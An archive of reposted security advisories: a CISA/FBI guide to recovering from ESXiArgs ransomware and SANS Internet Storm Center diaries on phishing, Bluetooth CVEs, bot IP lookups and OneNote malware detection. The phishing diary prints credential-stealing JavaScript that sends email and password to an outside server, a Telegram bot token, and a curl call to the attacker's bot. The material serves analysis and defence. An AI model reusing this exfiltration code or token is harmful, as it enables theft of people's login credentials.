Category Archives: Security

AA23-039A: ESXiArgs Ransomware Virtual Machine Recovery Guidance

This post was originally published on this site

Original release date: February 8, 2023

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory (CSA) in response to the ongoing ransomware campaign, known as “ESXiArgs.” Malicious actors may be exploiting known vulnerabilities in VMware ESXi servers that are likely running unpatched and out-of-service or out-of-date versions of VMware ESXi software to gain access and deploy ransomware. The ESXiArgs ransomware encrypts configuration files on ESXi servers, potentially rendering virtual machines (VMs) unusable. 

CISA has released an ESXiArgs recovery script at github.com/cisagov/ESXiArgs-Recover. Organizations that have fallen victim to ESXiArgs ransomware can use this script to attempt to recover their files. This CSA provides guidance on how to use the script.
ESXiArgs actors have compromised over 3,800 servers globally. CISA and FBI encourage all organizations managing VMware ESXi servers to: 

  • Update servers to the latest version of VMware ESXi software
  • Harden ESXi hypervisors by disabling the Service Location Protocol (SLP) service, and 
  • Ensure the ESXi hypervisor is not exposed to the public internet. 

If malicious actors have compromised your organization with ESXiArgs ransomware, CISA and FBI recommend following the script and guidance provided in this CSA to attempt to recover access to your files.  

Download the PDF version of this report: pdf, 712 kb.

Note: CISA and FBI will update this CSA as more information becomes available.

Technical Details

Open-source reporting indicates that malicious actors are exploiting known vulnerabilities in VMware ESXi software to gain access to servers and deploy ESXiArgs ransomware. The actors are likely targeting end-of-life ESXi servers or ESXi servers that do not have the available ESXi software patches applied.[1] 

ESXiArgs ransomware encrypts certain configuration files on ESXi servers, potentially rendering VMs unusable. Specifically, the ransomware encrypts configuration files associated with the VMs; it does not encrypt flat files. As a result, it is possible, in some cases, for victims to reconstruct the encrypted configuration files based on the unencrypted flat file. The recovery script documented below automates the process of recreating configuration files. The full list of file extensions encrypted by the malware is: vmdk, vmx, vmxf, vmsd, vmsn, vswp, vmss, nvram, vmem.

Recovery Guidance

CISA and FBI do not encourage paying the ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, CISA and FBI urge you to promptly report ransomware incidents to a local FBI Field Office, or to CISA at cisa.gov/report

CISA is providing these steps to enable organizations to attempt recovery of their VMs. CISA’s GitHub ESXiArgs recovery script, which also outlines these steps, is available at github.com/cisagov/ESXiArgs-Recover. CISA is aware that some organizations have reported success in recovering files without paying ransoms. CISA’s script is based on findings published by third-party researchers.[2] 

Any organization seeking to use CISA’s ESXiArgs recovery script should carefully review the script to determine if it is appropriate for their environment before deploying it. This script does not seek to delete the encrypted configuration files, but instead seeks to create new configuration files that enable access to the VMs. While CISA works to ensure that scripts like this one are safe and effective, this script is delivered without warranty, either implicit or explicit. Do not use this script without understanding how it may affect your system. CISA does not assume liability for damage caused by this script. Note: Organizations that run into problems with the script can create a GitHub issue at https://github.com/cisagov/ESXiArgs-Recover/issues; CISA will do our best to resolve concerns.

1. Quarantine or take affected hosts offline to ensure that repeat infection does not occur.

2. Download CISA’s recovery script and save it as /tmp/recover.sh.
For example, with wget: wget -O /tmp/recover.sh https://raw.githubusercontent.com/cisagov/ESXiArgs-Recover/main/recover.sh.

3. Give the script execute permissions: chmod +x /tmp/recover.sh

4. Navigate to the folder of a VM you would like to recover and run ls to view the files.
Note: You may browse these folders by running ls /vmfs/volumes/datastore1. For instance, if the folder is called example, run cd /vmfs/volumes/datastore1/example.

5. View files by running ls. Note the name of the VM (via naming convention: [name].vmdk).

6. Run the recovery script with /tmp/recover.sh [name], where [name] is the name of the VM determined previously. 

a. If the VM is a thin format, run /tmp/recover.sh [name] thin.

b. If successful, the recovery script will output that it has successfully run. If unsuccessful, it may not be possible for the recovery script to recover your VMs; consider engaging external incident response help.

7. If the script succeeded, re-register the VM.

a. If the ESXi web interface is inaccessible, remove the ransom note and restore access via the following steps. (Note: Taking the steps below moves the ransom note to the file ransom.html. Consider archiving this file for future incident review.)

  • Run cd /usr/lib/vmware/hostd/docroot/ui/ && mv index.html ransom.html && mv index1.html index.html.
  • Run cd /usr/lib/vmware/hostd/docroot && mv index.html ransom.html && rm index.html && mv index1.html index.html.
  • Reboot the ESXi server (e.g., with the reboot command). After a few minutes, you should be able to navigate to the web interface.

b.    In the ESXi web interface, navigate to the Virtual Machines page.

  • If the VM you restored already exists, right click on the VM and select Unregister (see figure 1).

"Figure 1: Unregistering the virtual machine."

  • Select Create / Register VM (see figure 2).
  • Select Register an existing virtual machine (see figure 2).

"Figure 2: Registering the virtual machine, selecting machine to register."

  • Click Select one or more virtual machines, a datastore or a directory to navigate to the folder of the VM you restored. Select the vmx file in the folder (see figure 3).

"Figure 3: Registering the virtual machine, finalizing registration."

  • Select Next and Finish. You should now be able to use the VM as normal.

8.    Update servers to the latest software version, disable the Service Location Protocol (SLP) service, and ensure the ESXi hypervisor is not configured to be exposed to the public internet before putting systems back online. 

Additional Incident Response

The above script only serves as a method to recover essential services. Although CISA and FBI have not seen any evidence that the actors have established persistence, we recommend organizations take the following additional incident response actions after applying the script:

  1. Review network logging to and from ESXi hosts and the guest VMs for unusual scanning activity.
  2. Review traffic from network segments occupied by the ESXi hosts and guests. Consider restricting non-essential traffic to and from these segments.

If you detect activity from the above, implement your incident response plan. CISA and FBI urge you to promptly report ransomware incidents to a local FBI Field Office, or to CISA at cisa.gov/report.

Organizations should also collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.

See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA also encourages government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response.  

Additional resources for recovering .vmdk files can be found on a third-party researcher’s website.[2]

Mitigations

Note: These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. For more information on the CPGs, including additional recommended baseline protections, see cisa.gov/cpg.

CISA and FBI recommend all organizations: 

  • Temporarily remove connectivity for the associated ESXi server(s).
    • Upgrade your ESXi servers to the latest version of VMware ESXi software [CPG 5.1]. ESXi releases are cumulative, and the latest builds are documented in VMware’s article, Build numbers and versions of VMware ESXi/ESX.
    • Harden ESXi hypervisors by disabling the Service Location Protocol (SLP) service, which ESXiArgs may leverage. For more information on executing workarounds, see VMware’s guidance How to Disable/Enable the SLP Service on VMware ESXi
    • Ensure your ESXi hypervisor is not configured to be exposed to the public internet.

In addition, CISA and FBI recommend organizations apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.

Preparing for Ransomware

  • Maintain offline backups of data, and regularly test backup and restoration [CPG 7.3]. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.
  • Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident [CPG 7.1, 7.2].

 Mitigating and Preventing Ransomware

  • Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.
  • Require phishing-resistant MFA for as many services as possible [CPG 1.3]—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.
  • Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.
  • Implement allow-listing policies for applications and remote access that only allow systems to execute known and permitted programs.
  • Open document readers in protected viewing modes to help prevent active content from running.
  • Implement user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails.
  • Use strong passwords [CPG 1.4] and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and the NIST’s Special Publication 800-63B: Digital Identity Guidelines for more information.
  • Require administrator credentials to install software [CPG 1.5].
  • Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind [CPG 1.5].
  • Install and regularly update antivirus and antimalware software on all hosts.
  • Consider adding an email banner to messages coming from outside your organizations.
  • Disable hyperlinks in received emails.
  • Consider participating in CISA’s no-cost Automated Indicator Sharing (AIS) program to receive real-time exchange of machine-readable cyber threat indicators and defensive measures. 

Responding to Ransomware Incidents

If a ransomware incident occurs at your organization:

  • Follow your organization’s Ransomware Response Checklist (see Preparing for Ransomware section).
  • Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.
  • Follow the notification requirements as outlined in your cyber incident response plan.
  • Report incidents to CISA at cisa.gov/report, FBI at a local FBI Field Office, or the U.S. Secret Service (USSS) at a USSS Field Office.
  • Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Note: CISA and FBI strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.

Resources 

See Stopransomware.gov, a whole-of-government approach, for ransomware resources and alerts.

Acknowledgements

CISA and FBI would like to thank VMware for their contributions to this CSA.

References

Revisions

  • February, 2023: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Simple HTML Phishing via Telegram Bot, (Wed, Feb 8th)

This post was originally published on this site

Monday, I wrote about the use of IP lookup APIs by bots. It turns out that it is not just bots using these APIs, but phishing e-mails are also taking advantage of them.

The phish itself is not particularly remarkable. It is arriving as an email claiming to include a payment confirmation. The email includes a small thread of messages likely to make it more plausible. The best I can guess, the email is supposed to make the recipient curious to open the attachment. The attachment itself is a simple HTML file simulating an Office 365 page.

The email address is prefilled.

Let's take a look at the HTML file. It starts with:

<script>  
    u0065mau0069u006c="handlers@isc.sans.edu";
    var tu006fu006beu006e='5726079562:AAFyQSm_2dYxj6NHVjHY8L8zy96fyeyykKs';
    var u0063u0068at_id=1512976710;
    var data=atob("PGh0bWwgbGFuZz0iZW4iPjxo...

"data" is the actual HTML/JavaScript content. "atob" will Base64 decode the string. The second variable ("token") represents the Telegram credentials used later. "chat_id" is the Telegram ID of the attacker receiving the credentials.

Here are a few of the notable snippets of JavaScript after decoding it:

    <script>
    $(document).ready(function() {
      $.getJSON("https://api.ipify.org?format=json", function(data) {$("#gfg").html(data.ip);})
          var textField = document.getElementById("username");
          textField.value = email;
          });
    </script>

This function will run after the document is rendered in the browser. It contacts "ipify.org" to retrieve the victims public IP address. This could be used to eliminate duplicate submissions, or to learn more about the victim.

body {
  margin: 0;
  padding: 0;
  background: url(https://i.gyazo.com/214d89a26f0ac918a09f216a1b0f97b4.png);
  background-size: cover;
  font-family: sans-serif;
}

This is how the blurred background image is loaded. Interestingly, we received reports lately about a blurred image from our site being used in similar phishing attacks. Let us know if you come across a phish using our image (working on auto-replacing it with a warning).

Oddly, the code implements two different methods to exfiltrate the username and password. But only one of them is used. The first method would simply send the username and password to "spiritualstraighttalk.com":

var setting = {
         "async": true,
         "crossDomain": true,
         "dataType": 'JSONP',
         "url": "https://spiritualstraighttalk.com/phpsender.php?email={email}&password={password}",
         "method": "GET",
         "headers": {"Content-Type": "application/json; charset=utf-8", "cache-control": "no-cache", 'Access-Co
ntrol-Allow-Origin': '*' },
         "data": {"email": email, "password": password}

}

The second method uses Telegram's API, and this code is actually used. The message sent:

{
    "ok": true,
    "result": {
        "message_id": 374,
        "from": {
            "id": 5726079562,
            "is_bot": true,
            "first_name": "SharepointDOGGY",
            "username": "SharepointDOGGY_bot"
        },
        "chat": {
            "id": 1512976710,
            "first_name": "Newage officePat",
            "type": "private"
        },
        "date": 1675861110,
        "text": "====== Office Excel ======nEmail: handlers@isc.sans.edunPassword: phishphucknIP: https://ip-api.com/[redacted]nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15n===================",
        "entities": [
            {
                "offset": 34,
                "length": 21,
                "type": "email"
            },
            {
                "offset": 81,
                "length": 31,
                "type": "url"
            }
        ]
    }
}

Not sure why the first method was left in place, but it was likely too much work to remove it; instead, the second method was just added.

After running this script a few times, the attacker blocked the bot from sending any more credentials:

d=$(date +%s)
curl 'https://api.telegram.org/bot5726079562:AAFyQSm_2dYxj6NHVjHY8L8zy96fyeyykKs/sendMessage'
-X 'POST'
-H 'Accept: */*'
-H 'Content-Type: application/json'
-H 'Origin: null'
-H 'Cache-Control: no-cache'
-H 'Accept-Language: en-US,en;q=0.9'
-H 'Host: api.telegram.org'
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15'
-H 'Accept-Encoding: gzip, deflate, br'
-H 'Connection: keep-alive'
     --data-binary '{"chat_id":1512976710,"text":"====== Office Excel ======rnEmail: phishphuckrnPassword: phishphuckrnIP: https://ip-api.com/127.0.0.1rnUser-Agent: phishphuckrn==================="}'


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A Survey of Bluetooth Vulnerabilities Trends (2023 Edition), (Tue, Feb 7th)

This post was originally published on this site

The use of Bluetooth-enabled devices remains popular. New products (such as mobile phones, laptops and fitness trackers) still support this protocol and have even launched with more recent versions (e.g. Samsung S23 family of phones, iPhone 14 and 14 Pro, Apple Watch Series 8/SE/Ultra all shipped with Bluetooth 5.3). I had previously written about surveying the trend of Bluetooth vulnerabilities back in 2021 [1]. As roughly a year or so has passed, it was a timely moment to review how things may have evolved with respect to the vulnerabilities discovered. Compared to the previous diary, the current Bluetooth core specification has been bumped up to 5.3 (from 5.2 as compared to the previous diary) [2].

Firstly, to get an overview of the current situation, I turned to the CVE List hosted by MITRE and searched for Bluetooth-related vulnerabilities. At the point of writing, there was a total of 647 publicly listed vulnerabilities related to Bluetooth [3]. From the time since I last wrote the diary (May 2021), there was an increase of 202 publicly disclosed vulnerabilities. To further illustrate the trend, I updated the previously plotted graph (Figure 1 below). There were minor updates to the number of vulnerabilities disclosed (e.g. 2019 and 2020), probably due to the lifting of embargoed vulnerability listing as they have been patched (or perhaps not being fixed after a certain period of non-disclosure). We also do not distinguish between Bluetooth Classic and Bluetooth Low Energy (LE) in the graph.

Bluetooth Vulnerabilities from the Year 2002 to 2022

Figure 1: Bluetooth Vulnerabilities from the Year 2002 to 2022

We can see that the vulnerabilities disclosed in 2022 have increased to near 2019 levels (112 vs 113). This came as no surprise, as the year 2022 was an eventful year for Bluetooth vulnerabilities. Notable attacks such as Blacktooth [4], Bluetooth Address Tracking (BAT) [5] and Bluetooth Physical-Layer Relay Attacks [6] were disclosed. The impacts were significant – the vulnerabilities affected many products, such as Tesla cars, smart locks and mobile phones. It was heartening to see that the researchers also suggested ways to fix the discovered issues and worked with the Bluetooth SIG to resolve the vulnerabilities.

It would be interesting to see what 2023 would be like for Bluetooth – would there be more implementation or protocol design vulnerabilities reported to the Bluetooth SIG? Will there be closer collaboration between product vendors and System-on-Chip (SoC) vendors in rolling out security updates for the Bluetooth implementations in the affected devices? Although it appears that the number of Bluetooth vulnerabilities being discovered is rising again, we can take comfort that at least a vital protocol is being examined and improved upon.

 

References:

[1] https://isc.sans.edu/diary/27460

[2] https://www.bluetooth.com/wp-content/uploads/2021/01/Bluetooth_5.3_Feature_Enhancements_Update.pdf

[3] https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=bluetooth

[4] https://dl.acm.org/doi/abs/10.1145/3548606.3560668

[5] https://dl.acm.org/doi/10.1145/3548606.3559372

[6] https://dl.acm.org/doi/10.1145/3507657.3528536

———–
Yee Ching Tok, ISC Handler
Personal Site
Mastodon
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Earthquake in Turkey and Syria: Be Aware of Possible Donation Scams, (Mon, Feb 6th)

This post was originally published on this site

Last night, Turkey and Syria were affected by a significant earthquake. Sadly, experience teaches us that disasters like this will often be abused. The most common scam involves fake donation websites. But you may also see malware disguised as a video or images from the affected region.

Here are some tips to share:

  • Do not donate to organizations you have not heard of before the event. Only donate to organizations that have an established track record.
  • If you have contacts in the affected area: Try to reach out to them to find out how to help them.
  • Scams may target people with links to the affected region. Be careful with phone calls or emails claiming to ask for money on behalf of a relative or friend. Scammers may use social media data and may contact you via social media.
  • Do not blindly believe requests for help on social media.
  • Do not just Google for ways to donate money.

At this point, I have not seen any active scams. The unpredictability of earthquakes results in a lag between the event and the scam. We are monitoring respective scams, so please let us know if there is something you come across.

Communication in the affected area is severely limited. Turkish government websites are also experiencing outages due to many website visitors, particularly sites related to the earthquake.

Thanks to all the first responders helping people in need in the area. They will need our help, but please make sure to help them, not scammers.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

APIs Used by Bots to Detect Public IP address, (Mon, Feb 6th)

This post was originally published on this site

Many of the bots I am observing attempt to detect the infected system's public ("WAN") IP address. Most of these systems are assumed to be behind NAT. To detect the external IP address, these bots use various public APIs. It may be helpful to detect these requests. Many use unique host names. This will make detecting the request in DNS logs easy even if TLS is not intercepted.

Note that there is useful software using these APIs. Do not just block them. But keeping an eye on who is sending these requests can be useful

Here are a few I remember seeing. The list I have seen isn't very long, making it easy to detect. Let me know if there are others:

  • http://ip-api.com/json/
  • http://api64.ipify.org
  • http://api.ipify.org
  • https://ip.seeip.org
  • http://checkip.dyndns.org
  • https://ipapi.co/ip/

Some of these APIs will block commonly abused user agents like 'curl' or 'pylib.' This will block many of the common bots from using the specific APIs (and they typically do not bother to specify a user agent but instead use a different API without restrictions).

There are some other websites that malware could use with a bit of screen scraping, but I have not seen malware use them. And as you are looking through your logs: Requests for "wanipcn.xml" are not related to looking up the WAN IP address. These requests attempt to exploit an older Realtek SDK vulnerability. 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Video: Analyzing Malicious OneNote Documents, (Sun, Feb 5th)

This post was originally published on this site

I recorded a video for my diary entry "Detecting (Malicious) OneNote Files".

It shows how I familiarized myzelf with the .one file format, enough to know how to extract embedded files, wrote a tool (onedump.py) and take a look at detection rules.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Assemblyline as a Malware Analysis Sandbox, (Sat, Feb 4th)

This post was originally published on this site

If you are looking for a malware sandbox that is easy to install and maintain, Assenblyline (AL) [1] is likely the system you want to be part of your toolbox. "Once a file is submitted to Assemblyline, the system will automatically perform multiple checks to determine how to best process the file. One of Assemblyline's most powerful functionalities is its recursive analysis model."[2]

Check out a couple of my older posts, (Thu, Feb 2nd)

This post was originally published on this site

I don't get nearly as much opportunity to play with packets these days as I did in the first 5-10 years I was a handler and I miss it. I was looking back through some of my old diaries and realized that in the years since I wrote some of them, we have at least a generation of folks who have entered the field. So I thought that on (the day after) Groundhog Day, it might be time to point folks back to some stuff I wrote earlier. Note, some of the tools have changed/evolved, so ethereal is now wireshark and instead of hping3 I would probably use scapy, but here are 2 of my favorite diaries from the past. Check them out, [1] is from 2006 and [2] is from 2009.

[1] A TCP/IP mystery (solved)

[2] A packet challenge and how I solved it

—————
Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Rotating Packet Captures with pfSense, (Wed, Feb 1st)

This post was originally published on this site

Having a new pfSense firewall in place gives some opportunities to do a bit more with the device. Maintaining some full packet captures was an item on my "to do" list. The last 24 hours is usually sufficient for me since I'm usually looking at alerts within the same day. I decided to do rotating packet captures based on file size. This allows me to capture packets, saving files of a specific size and keeping a specified number of files. 

Detecting (Malicious) OneNote Files, (Wed, Feb 1st)

This post was originally published on this site

We are starting to see malicious OneNote documents (cfr. Xavier's diary entry "A First Malicious OneNote Document").

OneNote files have their own binary fileformat: [MS-ONESTORE].

A OneNote file starts with GUID {7B5C52E4-D88C-4DA7-AEB1-5378D02996D3}.

Files contained in a OneNote file start with a header (FileDataStoreObject) followed by the embedded file itself. This header also starts with a GUID: {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC}.

Hence, to detect OneNote files with embedded files, look for files that start with byte sequence E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 (that's GUID {7B5C52E4-D88C-4DA7-AEB1-5378D02996D3}) and contain one ore more instances of byte sequence E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC (that's GUID {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC}).

This allows you to detect OneNote files with embedded files. Which are not necessarily malicious … Because an embedded file can just be a picture, for example.

I have a bit more detail on the analysis of this format, in my blog post "Analyzing Malicious OneNote Documents".

Florian Roth developed YARA rules that look for these GUIDs, together with some typical malicious payloads: PE files, BAT files, VBS files, LNK files.

The trick is to look at the beginning of the embedded file, which can be found 36 bytes after the start of structure FileDataStoreObject (hence 36 bytes after each {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC} guid).

If an embedded file starts with MZ, it's most likely an embedded Windows executable (but it could also be a text file that starts with MZ). If it starts with 4C 00 00 00, it's most likely an LNK file.

BAT and VBS files are harder to recognize, as they have no magic header: they can start with any byte sequence. Florian's rule uses a little heuristic: it identifies files that start with "@ECH" as BAT files (@ECHO OFF) and files that start with "on e" as VBS files (on error resume). Of course, this will not detect all malicious OneNote files, but we can never have perfect detection …

Here is one of Florian's rules that detects a OneNote file with an embedded PE file ($x1):

Mostly as an exercise for myself, I created Suricata rules for onenote files. You can find them here, in my beta GitHub repository.

Caveat: these rules have not been tested in production, and the first rules detect any onenote file, with or without benign/malicious payload.

I'll provide more details on these Suricata rules in an upcoming blog post.

 

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.